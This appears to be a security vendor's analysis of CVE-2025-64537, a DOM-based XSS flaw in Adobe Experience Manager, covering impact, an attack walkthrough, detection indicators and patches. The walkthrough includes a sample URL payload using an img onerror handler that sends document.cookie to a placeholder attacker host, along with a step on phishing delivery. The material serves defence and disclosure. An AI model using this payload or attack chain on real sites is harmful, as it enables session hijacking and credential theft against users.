CVE-2025-64537: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64537 is a DOM-based Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that could lead to arbitrary code execution in the context of a victim's browser. It affects AEM versions 6.5.23 and earlier (on-premises), AEM 6.5 LTS, and AEM Cloud Service versions prior to 2025.12.0. Adobe disclosed and patched this vulnerability on December 9, 2025. It carries a CVSS v3.1 base score of 9.3 (Critical) (Adobe Advisory, Feedly).

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically as a DOM-based XSS variant (CAPEC-588). The root cause is insufficient sanitization of user-controlled input that is written directly into the DOM, allowing injected scripts to execute in the victim's browser without server-side reflection. Exploitation requires no privileges and no special configuration, but does require user interaction — a victim must visit or be directed to a crafted malicious page. No technical write-up or public PoC code has been identified at this time (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser session, enabling session hijacking via cookie theft, credential capture, and unauthorized actions performed on behalf of the authenticated user. The CVSS scope is marked as "Changed," reflecting that the impact extends beyond the vulnerable component to the victim's browser environment. Confidentiality and integrity impacts are both rated High, as an attacker can achieve full session takeover and potentially compromise the entire AEM web application's security posture; availability is not directly impacted (Adobe Advisory, Feedly).

1. Reconnaissance: Identify publicly accessible Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web search, Shodan, or Censys.
2. Identify vulnerable DOM sink: Analyze AEM pages for DOM-based XSS sinks — JavaScript code that reads attacker-controlled input (e.g., URL fragments, query parameters) and writes it unsanitized to the DOM via innerHTML, document.write(), or similar methods.
3. Craft malicious URL: Construct a URL targeting the vulnerable AEM page with a malicious payload embedded in the fragment or query parameter, e.g., https://target-aem.example.com/vulnerable-page.html#<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>.
4. Deliver to victim: Send the crafted URL to a target user via phishing email, social engineering, or by embedding it in a third-party site, inducing the victim to click the link.
5. Script execution and session takeover: When the victim loads the page, the malicious script executes in their browser, exfiltrating session cookies or credentials to the attacker's server, enabling session hijacking or further unauthorized actions within AEM (Adobe Advisory, Feedly).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains immediately after visiting AEM pages; unusual GET/POST requests containing encoded script payloads in URL fragments or query parameters targeting AEM endpoints.
• Logs: AEM access logs showing requests to specific pages with suspicious URL-encoded characters (%3C, %3E, %22, onerror, javascript:) in query strings or referrer headers; web application firewall (WAF) alerts for XSS pattern matches against AEM URLs.
• Browser/Client-Side: Unexpected JavaScript execution or network requests originating from AEM page context in browser developer tools; session cookies accessed or transmitted to third-party domains.
• Application: Anomalous AEM user session activity (e.g., actions performed from unusual IP addresses or at unusual times) following a user visiting a suspicious link (Feedly).

Adobe has released patches addressing this vulnerability: AEM on-premises users should upgrade to version 6.5.24.0 or later; AEM Cloud Service users should update to the 2025.12.0 release or later. As interim mitigations, organizations should implement a strict Content Security Policy (CSP) to limit script execution, apply HTTP-only and Secure flags to session cookies, and validate/sanitize all user-supplied input at the application layer. Monitoring for suspicious script injection patterns via WAF rules is also recommended (Adobe Advisory).

The vulnerability was noted in CIS's December 2025 advisory covering multiple Adobe product vulnerabilities, and SOCRadar included it in their December 2025 Patch Tuesday coverage. Tenable published a detection plugin (Nessus plugin 278346) for this CVE. Community reaction has been routine, with no notable researcher commentary or significant social media discussion beyond standard vulnerability tracking (CIS Advisory, SOCRadar, Tenable).